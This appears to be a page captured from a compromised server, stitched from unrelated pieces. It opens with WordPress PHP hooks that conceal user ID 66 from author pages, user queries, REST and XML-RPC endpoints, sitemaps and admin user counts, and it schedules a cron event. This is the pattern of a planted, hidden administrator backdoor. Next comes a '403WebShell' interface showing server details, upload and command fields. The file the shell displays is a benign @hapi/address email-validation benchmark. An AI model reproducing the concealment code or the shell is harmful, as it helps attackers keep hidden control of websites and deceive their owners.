add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/jungly/node_modules/@hapi/address/bench/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/jungly/node_modules/@hapi/address/bench/test.js
'use strict';

const Bench = require('bench');
const Address = require('../');
const Isemail = require('isemail');


const tests = [
    ['', false],
    ['\r', false],
    ['test', false],
    ['@', false],
    ['test@', false],
    ['test@io', false],
    ['test@io', true, { minDomainSegments: 1 }],
    ['@io', false],
    ['@iana.org', false],
    ['test@iana.org', true],
    ['test@nominet.org.uk', true],
    ['test@about.museum', true],
    ['a@iana.org', true],
    ['êjness@iana.org', true],
    ['ñoñó1234@iana.org', true],
    ['ñoñó1234@something.com', true],
    ['伊昭傑@郵件.商務', true],
    ['\ud801\udc37\ud852\udf62@iana.org', true],
    ['test.test@iana.org', true],
    ['.test@iana.org', false],
    ['test.@iana.org', false],
    ['test..iana.org', false],
    ['test_exa-mple.com', false],
    ['!#$%&`*+/=?^`{|}~@iana.org', true],
    ['test\\@test@iana.org', false],
    ['123@iana.org', true],
    ['test@123.com', true],
    ['test@iana.123', false],
    ['test@255.255.255.255', false],
    ['abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghiklm@iana.org', true],
    ['abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghiklmn@iana.org', false],
    ['\ud83d\ude06\ud83d\ude06\ud83d\ude06\ud83d\ude06\ud83d\ude06\ud83d\ude06\ud83d\ude06\ud83d\ude06\ud83d\ude06\ud83d\ude06\ud83d\ude06\ud83d\ude06\ud83d\ude06\ud83d\ude06\ud83d\ude06\ud83d\ude06\ud83d\ude06@iana.org', false],
    ['test@abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghiklm', false],
    ['test@\ud83d\ude06\ud83d\ude06\ud83d\ude06\ud83d\ude06\ud83d\ude06\ud83d\ude06\ud83d\ude06\ud83d\ude06\ud83d\ude06\ud83d\ude06\ud83d\ude06\ud83d\ude06\ud83d\ude06\ud83d\ude06\ud83d\ude06\ud83d\ude06\ud83d\ude06.org', true],
    ['test@abcdefghijklmnopqrstuvwxyzabcdefghijklmno\ud83d\ude06\ud83d\ude06\ud83d\ude06\ud83d\ude06\ud83d\ude06\ud83d\ude06\ud83d\ude06\ud83d\ude06\ud83d\ude06\ud83d\ude06\ud83d\ude06\ud83d\ude06\ud83d\ude06\ud83d\ude06\ud83d\ude06\ud83d\ude06\ud83d\ude06.org', false],
    ['test@abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghiklm.com', false],
    ['test@mason-dixon.com', true],
    ['test@-iana.org', false],
    ['test@iana-.com', false],
    ['test@.iana.org', false],
    ['test@iana.org.', false],
    ['test@iana..com', false],
    ['abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghiklm@abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefg.abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefg.abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefg.abcdefghijklmno', false],
    ['abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghiklm@abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefg.abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefg.abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefg.\ud83d\ude06\ud83d\ude06\ud83d\ude06\ud83d\ude06', false],
    ['abcdef@abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefg.abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefg.abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefg.abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdef.hijklmnopqrstuv', false],
    ['abcdef@abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefg.abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefg.abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefg.abcdefghi.abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcd\ud83d\ude06', false],
    ['abcdef@abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefg.abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefg.abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefg.abcdefghi.abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz\ud83d\ude06', false],
    ['a@abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefg.abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefg.abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefg.abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefg.abcdefghijkl.hijk', false],
    ['a@abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefg.abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefg.abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefg.abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefg.abcdefghijkl.\ud83d\ude06', false],
    ['\"\r', false],
    ['\"test\"@iana.org', false],
    ['\"\"@iana.org', false],
    ['\"\"\"@iana.org', false],
    ['\"\\a\"@iana.org', false],
    ['\"\\\"\"@iana.org', false],
    ['\"\\\"@iana.org', false],
    ['\"\\\\\"@iana.org', false],
    ['test\"@iana.org', false],
    ['\"test@iana.org', false],
    ['\"test\"test@iana.org', false],
    ['test\"text\"@iana.org', false],
    ['\"test\"\"test\"@iana.org', false],
    ['\"test\".\"test\"@iana.org', false],
    ['\"test\\ test\"@iana.org', false],
    ['\"test\".test@iana.org', false],
    ['\"test\u0000\"@iana.org', false],
    ['\"test\\\u0000\"@iana.org', false],
    ['\"test\r\n test\"@iana.org', false],
    ['\"abcdefghijklmnopqrstuvwxyz abcdefghijklmnopqrstuvwxyz abcdefghj\"@iana.org', false],
    ['\"abcdefghijklmnopqrstuvwxyz abcdefghijklmnopqrstuvwxyz abcdefg\\h\"@iana.org', false],
    ['test@[255.255.255.255]', false],
    ['test@a[255.255.255.255]', false],
    ['test@[255.255.255]', false],
    ['test@[255.255.255.255.255]', false],
    ['test@[255.255.255.256]', false],
    ['test@[1111:2222:3333:4444:5555:6666:7777:8888]', false],
    ['test@[IPv6:1111:2222:3333:4444:5555:6666:7777]', false],
    ['test@[IPv6:1111:2222:3333:4444:5555:6666:7777:8888]', false],
    ['test@[IPv6:1111:2222:3333:4444:5555:6666:7777:8888:9999]', false],
    ['test@[IPv6:1111:2222:3333:4444:5555:6666:7777:888G]', false],
    ['test@[IPv6:1111:2222:3333:4444:5555:6666::8888]', false],
    ['test@[IPv6:1111:2222:3333:4444:5555::8888]', false],
    ['test@[IPv6:1111:2222:3333:4444:5555:6666::7777:8888]', false],
    ['test@[IPv6::3333:4444:5555:6666:7777:8888]', false],
    ['test@[IPv6:::3333:4444:5555:6666:7777:8888]', false],
    ['test@[IPv6:1111::4444:5555::8888]', false],
    ['test@[IPv6:::]', false],
    ['test@[IPv6:1111:2222:3333:4444:5555:255.255.255.255]', false],
    ['test@[IPv6:1111:2222:3333:4444:5555:6666:255.255.255.255]', false],
    ['test@[IPv6:1111:2222:3333:4444:5555:6666:7777:255.255.255.255]', false],
    ['test@[IPv6:1111:2222:3333:4444::255.255.255.255]', false],
    ['test@[IPv6:1111:2222:3333:4444:5555:6666::255.255.255.255]', false],
    ['test@[IPv6:1111:2222:3333:4444:::255.255.255.255]', false],
    ['test@[IPv6::255.255.255.255]', false],
    ['test@[255.255.255.255].local', false],
    ['test@local.[255.255.255.255]', false],
    ['test@local.[255.255.255.255].local', false],
    ['test@local.(comment)[255.255.255.255].local', false],
    ['test@local. [255.255.255.255].local', false],
    ['test@local.[255.255.255.255](comment).local', false],
    ['test@local.[255.255.255.255] .local', false],
    [' test @iana.org', false],
    ['test@ iana .com', false],
    ['test . test@iana.org', false],
    ['\r\n test@iana.org', false],
    ['\r\n \r\n test@iana.org', false],
    ['(\r', false],
    ['(comment)test@iana.org', false],
    ['((comment)test@iana.org', false],
    ['(comment(comment))test@iana.org', false],
    ['test@(comment)iana.org', false],
    ['test(comment)@iana.org', false],
    ['test(comment)test@iana.org', false],
    ['test@(comment)[255.255.255.255]', false],
    ['(comment)abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghiklm@iana.org', false],
    ['test@(comment)abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefg.com', false],
    ['(comment)test@abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefg.abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefg.abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefg.abcdefghijklmnopqrstuvwxyzabcdefghijk.abcdefghijklmnopqrst', false],
    ['test@iana.org\n', false],
    ['xn--test@iana.org', true],
    ['test@iana.org-', false],
    ['\"test@iana.org', false],
    ['(test@iana.org', false],
    ['test@(iana.org', false],
    ['test@[1.2.3.4', false],
    ['\"test\\\"@iana.org', false],
    ['(comment\\)test@iana.org', false],
    ['test@iana.org(comment\\)', false],
    ['test@iana.org(comment\\', false],
    ['test@[RFC-5322-domain-literal]', false],
    ['test@[RFC-5322-郵件ñó-domain-literal]', false],
    ['test@[RFC-5322]-domain-literal]', false],
    ['test@[RFC-5322].domain-literal]', false],
    ['test@[RFC-5322-[domain-literal]', false],
    ['test@[€', false],
    ['test@[\u0007]', false],
    ['test@[RFC-5322-\\\u0007-domain-literal]', false],
    ['test@[RFC-5322-\\\t-domain-literal]', false],
    ['test@[RFC-5322-\\]-domain-literal]', false],
    ['test@[RFC-5322-\\郵-no-domain-literal]', false],
    ['test@[RFC-5322--domain-literal]', false],
    ['test@[RFC-5322-domain-literal\\]', false],
    ['test@[RFC-5322-domain-literal\\', false],
    ['test@[RFC 5322 domain literal]', false],
    ['test@[RFC-5322-domain-literal] (comment)', false],
    ['@iana.org', false],
    ['test@.org', false],
    ['\"\"@iana.org', false],
    ['\"€\"@iana.org', false],
    ['\"\\\"@iana.org', false],
    ['()test@iana.org', false],
    ['(€)test@iana.org', false],
    ['test@iana.org\r', false],
    ['\rtest@iana.org', false],
    ['\"\rtest\"@iana.org', false],
    ['(\r)test@iana.org', false],
    ['test@iana.org(\r)', false],
    ['test@<iana>.org', false],
    ['\ntest@iana.org', false],
    ['\"\n\"@iana.org', false],
    ['\"\\\n\"@iana.org', false],
    ['(\n)test@iana.org', false],
    ['\u0007@iana.org', false],
    ['test@\u0007.org', false],
    ['\"\u0007\"@iana.org', false],
    ['\"\\\u0007\"@iana.org', false],
    ['(\u0007)test@iana.org', false],
    ['\r\ntest@iana.org', false],
    ['\r\n \r\ntest@iana.org', false],
    [' \r\ntest@iana.org', false],
    [' \r\n test@iana.org', false],
    [' \r\n \r\ntest@iana.org', false],
    [' \r\n\r\ntest@iana.org', false],
    [' \r\n\r\n test@iana.org', false],
    ['test@iana.org\r\n ', false],
    ['test@iana.org\r\n \r\n ', false],
    ['test@iana.org\r\n', false],
    ['test@iana.org \r', false],
    ['test@iana.org\r\n \r\n', false],
    ['test@iana.org \r\n', false],
    ['test@iana.org \r\n ', false],
    ['test@iana.org \r\n \r\n', false],
    ['test@iana.org \r\n\r\n', false],
    ['test@iana.org \r\n\r\n ', false],
    ['test@iana. org', false],
    ['test@[\r', false],
    ['test@[\r\n', false],
    [' test@iana.org', false],
    ['test@iana.org ', false],
    ['test@[IPv6:1::2:]', false],
    ['\"test\\\u0094\"@iana.org', false],
    ['test@iana/icann.org', false],
    ['test@iana!icann.org', false],
    ['test@iana?icann.org', false],
    ['test@iana^icann.org', false],
    ['test@iana{icann}.org', false],
    ['test.(comment)test@iana.org', false],
    ['test@iana.(comment)org', false],
    ['test@iana(comment)iana.org', false],
    ['(comment\r\n comment)test@iana.org', false],
    ['test@org', true, { minDomainSegments: 1 }],
    ['test\ud800@invalid', false],
    ['\"\ud800\"@invalid', false],
    ['\"\\\ud800\"@invalid', false],
    ['(\ud800)thing@invalid', false],
    ['\"\\\ud800\"@invalid', false],
    ['test@\ud800\udfffñoñó郵件ñoñó郵件.郵件ñoñó郵件ñoñó郵件.ñoñó郵件ñoñó郵件.ñoñó郵件ñoñó郵件.ñoñó郵件ñoñó郵件.ñoñó郵件ñoñó郵件.ñoñó郵件ñoñó郵件.noñó郵件.商務', true],
    ['test@\ud800\udfffñoñó郵件ñoñó郵件.郵件ñoñó郵件ñoñó郵件.ñoñó郵件ñoñó郵件.ñoñó郵件ñoñó郵件.ñoñó郵件ñoñó郵件.ñoñó郵件ñoñó郵件.ñoñó郵件ñoñó郵件.noñó郵件ñoñó郵.商務', false],
    ['test@\ud800\udfffñoñó郵件ñoñó郵件.郵件ñoñó郵件ñoñó郵件.ñoñó郵件ñoñó郵件ñoñó郵件.ñoñó郵件ñoñó郵件.ñoñó郵件ñoñó郵件.ñoñó郵件ñoñó郵件.ñoñó郵件ñoñó郵件.ñoñó郵件ñoñó郵件.oñó郵件ñoñó郵件ñoñó郵件.商務', false],
    ['test@ñoñoñó郵件\ud83d\ude06ñoñ.oñó郵件\uc138ñoñ.oñó郵件\u0644\u4eec\u010dñoñoñó郵件\u05dcño.ñoñó郵件\u092f\u672cñoñoñó郵件\uc138añoñ.oñó郵件\ud83d\ude06bc\uc138郵\ud83d\ude06ño.ñoñó郵件ñoñoñó郵件\ud83d\ude06ñoñoñó郵件\uc138ñoñ.oñó郵件\u0644\u4eecñoñoñó.郵件\ud83d\ude06ñoñoñó郵件郵\uc138ñoñoñó郵件\u0644\u4eecñoñoñó郵件.\ud83d\ude06ñoñoñó郵件郵\uc138\u0644\u4eec.郵件\ud83d\ude06ñoñoñó郵.件郵\uc138\u4eec\ud83d\ude06ñoñoñó件郵\uc138ñoñoñó郵件', false],
    ['test@ñoñó郵件ñoñó郵件ñoñó郵件ñoñoñó郵件ñoñó郵件ñoñó郵件ñoñó郵件ñoñó郵件ñoñó郵件ñoñó郵件ñoñó郵件ñoñó郵件ñoñó郵件ñoñó郵件ñoñó郵件ñoñó郵件ñoñó郵件ñoñó郵件ñoñó郵件ñoñó郵件ñoñó郵件ñoñó郵件ñoñó郵件ñoñó郵件ñoñó郵件ñoñó郵件ñoñó郵件ñoñó郵件ñoñó郵件ñoñó郵件ñoñó郵件ñoñó郵件ñoñó郵件ñoñó郵件ñoñó郵件ñoñó郵件ñoñó郵件ñoñó郵件ñoñó郵件ñoñó郵件ñoñó郵件ñoñó郵件ñoñó郵件.商務', false],
    ['\ud83d\ude06ñoñó郵件ñoñó郵件ñoñó\ud83d\ude06郵件ñoñoñó郵@\ud83d\ude06郵件ñoñó郵件ñoñó.\ud83d\ude06郵件ñoñó郵件ñoñó.\ud83d\ude06郵件ñoñó郵件ñoñó.郵件ñoñó郵件ñoñó\ud83d\ude06.郵件ñoñó郵件ñoñó.郵件ñoñó郵件.ñoñó郵件ñoñó.郵件ñoñó郵件.\ud83d\ude06郵件ñoñó郵件ñoñó.\ud83d\ude06郵件ñoñó郵件ñoñó.\ud83d\ude06商務.郵件ñoñó郵件ñoñó郵件.\ud83d\ude06商務.\ud83d\ude06商務.\ud83d\ude06商務', false]
];

exports.compare = {
    address: function () {

        for (const test of tests) {
            Address.email.isValid(test[0]);
        }
    },
    isemail: function () {

        for (const test of tests) {
            Isemail.validate(test[0]);
        }
    }
};


Bench.runMain();

Youez - 2016 - github.com/yon3zu
LinuXploit